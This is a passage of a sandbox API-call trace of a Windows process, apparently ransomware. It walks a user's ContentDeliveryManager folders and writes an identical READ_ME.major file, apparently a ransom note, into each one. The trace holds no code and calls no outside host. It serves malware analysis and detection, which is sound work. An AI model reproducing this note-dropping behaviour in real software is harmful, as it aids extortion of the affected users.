hHeap=0x570000, dwFlags=0x0, lpMem=0x663298 | out: hHeap=0x570000) returned 1 [0199.918] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x668e00 | out: hHeap=0x570000) returned 1 [0199.918] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9fd8 | out: hHeap=0x570000) returned 1 [0199.918] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7659308d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf06a22a2, ftLastAccessTime.dwHighDateTime=0x1d327e6, ftLastWriteTime.dwLowDateTime=0x3081f21b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fb140 [0199.919] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0199.919] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0199.919] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8af90 [0199.919] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0199.919] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8a18 [0199.919] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af90 | out: hHeap=0x570000) returned 1 [0199.919] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5b4f18 [0199.919] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8a18 | out: hHeap=0x570000) returned 1 [0199.919] GetLastError () returned 0x12 [0199.919] SetLastError (dwErrCode=0x12) [0199.919] GetLastError () returned 0x12 [0199.919] SetLastError (dwErrCode=0x12) [0199.919] GetLastError () returned 0x12 [0199.919] SetLastError (dwErrCode=0x12) [0199.919] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0199.919] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beb00 [0199.919] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb00 | out: hHeap=0x570000) returned 1 [0199.920] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6730 [0199.920] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x30fb400 [0199.920] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x30fb400 | out: hHeap=0x570000) returned 1 [0199.920] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405d0 [0199.920] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405d0 | out: hHeap=0x570000) returned 1 [0199.920] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6730 | out: hHeap=0x570000) returned 1 [0199.920] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0199.920] FindNextFileW (in: hFindFile=0x30fb140, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7659308d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf06a22a2, ftLastAccessTime.dwHighDateTime=0x1d327e6, ftLastWriteTime.dwLowDateTime=0x3081f21b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0199.920] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0199.920] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0199.920] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b3d0 [0199.920] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0199.920] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8e00 [0199.920] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b3d0 | out: hHeap=0x570000) returned 1 [0199.920] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5b4f18 [0199.920] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8e00 | out: hHeap=0x570000) returned 1 [0199.920] GetLastError () returned 0x12 [0199.921] SetLastError (dwErrCode=0x12) [0199.921] GetLastError () returned 0x12 [0199.921] SetLastError (dwErrCode=0x12) [0199.921] GetLastError () returned 0x12 [0199.921] SetLastError (dwErrCode=0x12) [0199.921] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0199.921] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bea50 [0199.921] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bea50 | out: hHeap=0x570000) returned 1 [0199.921] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6a28 [0199.921] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x30fb1c0 [0199.921] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x30fb1c0 | out: hHeap=0x570000) returned 1 [0199.921] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40540 [0199.921] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40540 | out: hHeap=0x570000) returned 1 [0199.921] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6a28 | out: hHeap=0x570000) returned 1 [0199.921] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0199.921] FindNextFileW (in: hFindFile=0x30fb140, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1e04053, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x7edfd5ce, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x7edfd5ce, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Assets", cAlternateFileName="")) returned 1 [0199.921] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0199.921] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0199.921] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8aac8 [0199.922] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0199.922] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8e00 [0199.922] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8aac8 | out: hHeap=0x570000) returned 1 [0199.922] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5b4f18 [0199.922] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8e00 | out: hHeap=0x570000) returned 1 [0199.922] GetLastError () returned 0x12 [0199.922] SetLastError (dwErrCode=0x12) [0199.922] GetLastError () returned 0x12 [0199.922] SetLastError (dwErrCode=0x12) [0199.922] GetLastError () returned 0x12 [0199.922] SetLastError (dwErrCode=0x12) [0199.922] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x6626d0 [0199.922] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee68c0 [0199.922] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x663468 [0199.922] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d260 [0199.922] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0199.922] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8a18 [0199.923] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b568 | out: hHeap=0x570000) returned 1 [0199.923] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5bd3b8 [0199.923] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8a18 | out: hHeap=0x570000) returned 1 [0199.923] GetLastError () returned 0x12 [0199.923] SetLastError (dwErrCode=0x12) [0199.923] GetLastError () returned 0x12 [0199.923] SetLastError (dwErrCode=0x12) [0199.923] GetLastError () returned 0x12 [0199.923] SetLastError (dwErrCode=0x12) [0199.923] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x660750 [0199.923] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10b0 [0199.926] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x660750 | out: hHeap=0x570000) returned 1 [0199.926] WriteFile (in: hFile=0x10b0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.927] CloseHandle (hObject=0x10b0) returned 1 [0199.928] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bd3b8 | out: hHeap=0x570000) returned 1 [0199.928] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d390 | out: hHeap=0x570000) returned 1 [0199.928] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d260 | out: hHeap=0x570000) returned 1 [0199.928] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x663468 | out: hHeap=0x570000) returned 1 [0199.928] FindNextFileW (in: hFindFile=0x30fb140, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1e2a2f0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf78aa81, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1e2a2f0, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="ContentManagementSDK", cAlternateFileName="CONTEN~1")) returned 1 [0199.928] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0199.928] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0199.928] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b238 [0199.928] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0199.928] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8a18 [0199.928] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0199.928] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5b4f18 [0199.929] SetLastError (dwErrCode=0x0) [0199.929] GetLastError () returned 0x0 [0199.929] SetLastError (dwErrCode=0x0) [0199.929] GetLastError () returned 0x0 [0199.929] SetLastError (dwErrCode=0x0) [0199.929] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0199.929] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0199.929] SetLastError (dwErrCode=0x0) [0199.929] GetLastError () returned 0x0 [0199.929] SetLastError (dwErrCode=0x0) [0199.929] GetLastError () returned 0x0 [0199.929] SetLastError (dwErrCode=0x0) [0199.929] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5b3b90 [0199.929] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10b0 [0199.931] WriteFile (in: hFile=0x10b0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.932] CloseHandle (hObject=0x10b0) returned 1 [0199.932] FindNextFileW (in: hFindFile=0x30fb140, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf06a22a2, ftCreationTime.dwHighDateTime=0x1d327e6, ftLastAccessTime.dwLowDateTime=0xf073ad70, ftLastAccessTime.dwHighDateTime=0x1d327e6, ftLastWriteTime.dwLowDateTime=0xf073ad70, ftLastWriteTime.dwHighDateTime=0x1d327e6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Features", cAlternateFileName="")) returned 1 [0199.932] SetLastError (dwErrCode=0x0) [0199.932] GetLastError () returned 0x0 [0199.932] SetLastError (dwErrCode=0x0) [0199.932] GetLastError () returned 0x0 [0199.932] SetLastError (dwErrCode=0x0) [0199.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6730 [0199.933] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0199.933] SetLastError (dwErrCode=0x0) [0199.933] GetLastError () returned 0x0 [0199.933] SetLastError (dwErrCode=0x0) [0199.933] GetLastError () returned 0x0 [0199.933] SetLastError (dwErrCode=0x0) [0199.933] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x660750 [0199.933] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Features\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\features\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10b0 [0199.934] WriteFile (in: hFile=0x10b0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.935] CloseHandle (hObject=0x10b0) returned 1 [0199.935] FindNextFileW (in: hFindFile=0x30fb140, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3081f21b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3081f21b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3081f21b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0199.935] SetLastError (dwErrCode=0x0) [0199.936] GetLastError () returned 0x0 [0199.936] SetLastError (dwErrCode=0x0) [0199.936] GetLastError () returned 0x0 [0199.936] SetLastError (dwErrCode=0x0) [0199.936] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0199.936] FindNextFileW (in: hFindFile=0x30fb140, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6112409, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x7edfd5ce, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x7edfd5ce, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="StagedAssets", cAlternateFileName="STAGED~1")) returned 1 [0199.936] SetLastError (dwErrCode=0x0) [0199.936] GetLastError () returned 0x0 [0199.936] SetLastError (dwErrCode=0x0) [0199.936] GetLastError () returned 0x0 [0199.936] SetLastError (dwErrCode=0x0) [0199.936] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6550 [0199.936] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6708 [0199.936] SetLastError (dwErrCode=0x0) [0199.936] GetLastError () returned 0x0 [0199.936] SetLastError (dwErrCode=0x0) [0199.936] GetLastError () returned 0x0 [0199.936] SetLastError (dwErrCode=0x0) [0199.936] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x110) returned 0x655600 [0199.936] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\stagedassets\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10b0 [0199.973] WriteFile (in: hFile=0x10b0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.974] CloseHandle (hObject=0x10b0) returned 1 [0199.974] FindNextFileW (in: hFindFile=0x30fb140, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ca4042, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6ca4042, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6ca4042, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TargetedContentCache", cAlternateFileName="TARGET~1")) returned 1 [0199.974] SetLastError (dwErrCode=0x0) [0199.974] GetLastError () returned 0x0 [0199.974] SetLastError (dwErrCode=0x0) [0199.974] GetLastError () returned 0x0 [0199.974] SetLastError (dwErrCode=0x0) [0199.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0199.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0199.975] SetLastError (dwErrCode=0x0) [0199.975] GetLastError () returned 0x0 [0199.975] SetLastError (dwErrCode=0x0) [0199.975] GetLastError () returned 0x0 [0199.975] SetLastError (dwErrCode=0x0) [0199.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5b3b90 [0199.975] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\TargetedContentCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\targetedcontentcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10b0 [0199.976] WriteFile (in: hFile=0x10b0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.977] CloseHandle (hObject=0x10b0) returned 1 [0199.977] FindNextFileW (in: hFindFile=0x30fb140, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xece52509, ftCreationTime.dwHighDateTime=0x1d32716, ftLastAccessTime.dwLowDateTime=0xc76b785f, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xc76b785f, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Tips", cAlternateFileName="")) returned 1 [0199.978] SetLastError (dwErrCode=0x0) [0199.978] GetLastError () returned 0x0 [0199.978] SetLastError (dwErrCode=0x0) [0199.978] GetLastError () returned 0x0 [0199.978] SetLastError (dwErrCode=0x0) [0199.978] SetLastError (dwErrCode=0x0) [0199.978] GetLastError () returned 0x0 [0199.978] SetLastError (dwErrCode=0x0) [0199.978] GetLastError () returned 0x0 [0199.978] SetLastError (dwErrCode=0x0) [0199.978] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10b0 [0199.983] WriteFile (in: hFile=0x10b0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.985] CloseHandle (hObject=0x10b0) returned 1 [0199.985] FindNextFileW (in: hFindFile=0x30fb140, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xece52509, ftCreationTime.dwHighDateTime=0x1d32716, ftLastAccessTime.dwLowDateTime=0xc76b785f, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xc76b785f, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Tips", cAlternateFileName="")) returned 0 [0199.985] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\RoamingState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x765b92ef, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd013c79b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3081f21b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fb340 [0199.985] SetLastError (dwErrCode=0x12) [0199.985] GetLastError () returned 0x12 [0199.985] SetLastError (dwErrCode=0x12) [0199.985] GetLastError () returned 0x12 [0199.985] SetLastError (dwErrCode=0x12) [0199.986] FindNextFileW (in: hFindFile=0x30fb340, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x765b92ef, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd013c79b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3081f21b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0199.986] SetLastError (dwErrCode=0x12) [0199.986] GetLastError () returned 0x12 [0199.986] SetLastError (dwErrCode=0x12) [0199.986] GetLastError () returned 0x12 [0199.986] SetLastError (dwErrCode=0x12) [0199.986] FindNextFileW (in: hFindFile=0x30fb340, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3081f21b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3081f21b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3081f21b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0199.986] SetLastError (dwErrCode=0x12) [0199.986] GetLastError () returned 0x12 [0199.986] SetLastError (dwErrCode=0x12) [0199.986] GetLastError () returned 0x12 [0199.986] SetLastError (dwErrCode=0x12) [0199.986] FindNextFileW (in: hFindFile=0x30fb340, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3081f21b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3081f21b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3081f21b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0199.986] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x765df54b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x712cc700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3081f21b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fb3c0 [0199.986] SetLastError (dwErrCode=0x12) [0199.986] GetLastError () returned 0x12 [0199.986] SetLastError (dwErrCode=0x12) [0199.986] GetLastError () returned 0x12 [0199.987] SetLastError (dwErrCode=0x12) [0199.987] FindNextFileW (in: hFindFile=0x30fb3c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x765df54b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x712cc700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3081f21b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, 